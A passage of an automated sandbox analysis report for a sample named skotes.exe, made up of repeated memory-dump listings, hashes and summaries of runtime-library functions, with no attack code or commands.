Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 517cb8c942fdb428a3d3154f59cc30cd9d4e14cb11de4dd256886556b8131fde
Instruction ID: b09d82bc50d2c856ae28d7ac54a39e9b2035c104c245143a2399a58169d51453
Opcode Fuzzy Hash: 517cb8c942fdb428a3d3154f59cc30cd9d4e14cb11de4dd256886556b8131fde
Instruction Fuzzy Hash: 7A210735B406559BCB14BB6AD895ABD73A5BF9433AB04012FE402873E1CB7CAC41CA99

Function 004EDFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 004EDFE8
6N, xrefs: 004EE034

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 6N$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-1010741524
Opcode ID: a0fb487dda25db01ce17a9d25f9d09f55a45fb6a4a64d6d05683d1d1c6557c27
Instruction ID: 4f7a9c2a2361f9fcca4275b75b6a942b14516d8e22e82ca88787d20447a01b2b
Opcode Fuzzy Hash: a0fb487dda25db01ce17a9d25f9d09f55a45fb6a4a64d6d05683d1d1c6557c27
Instruction Fuzzy Hash: AD212971604299BFDB30AF679C80E2B77DDEF0036A710451BF96883242E778EC009369

Function 004DAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 004DAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 004DAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 004DAF4E

Strings

pExecutionResource, xrefs: 004DAF07

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 76a88952d6ba95ea22eafe7f617921cd419f08e752bbc808b46f708df6b3e907
Instruction ID: 3e27f55413978e5a2f1c19a5f7e2787d606211a2feaa27d5e4e4b8239147e133
Opcode Fuzzy Hash: 76a88952d6ba95ea22eafe7f617921cd419f08e752bbc808b46f708df6b3e907
Instruction Fuzzy Hash: 1121FD79A403059BCB04EF65C852FAD77A1BF48304F10442FE50167382DB78EE15CB99

Function 004D4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 004D4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 004D4F66

Strings

ppVirtualProcessorRoots, xrefs: 004D4F1C
count, xrefs: 004D4EBA

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: e14c42f4479c5960f0595d258d247131a900f88b4877b3f48a4a629a3242049f
Instruction ID: 04ac607fd5c04e57803772ef12fb96fc57ad591c994ba1853f94bbcc3e49bc1b
Opcode Fuzzy Hash: e14c42f4479c5960f0595d258d247131a900f88b4877b3f48a4a629a3242049f
Instruction Fuzzy Hash: D421C438600515EFCB04EF59C8A1E6E77B5BF48314F00406FE50697791CB75AE01CB59

Function 004DB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 004DBA0E

Strings

RoInitialize, xrefs: 004DB998
RoUninitialize, xrefs: 004DB9C1
combase.dll, xrefs: 004DB983, 004DB988, 004DB99D, 004DB9C8

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 4303e5782df4b8dfa74630fd4376ab7aef9470aef5cbac45b22172f36d45ec7c
Instruction ID: c7aa3388410a8ce1b3379dc0d91131ddff7553ddb5482c02020a0b46da6ef6f7
Opcode Fuzzy Hash: 4303e5782df4b8dfa74630fd4376ab7aef9470aef5cbac45b22172f36d45ec7c
Instruction Fuzzy Hash: 2E01D6A1585711EAE711BBB35C22BAF35CDEF01348F21546FA541E2381FBB8E80056EE

Function 004D6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 004D6E73

Part of subcall function 004D4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 004D4E7F
Part of subcall function 004D4E6E: List.LIBCMT ref: 004D4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 004D6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 004D6EAA

Strings

eventObject, xrefs: 004D6E7D

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
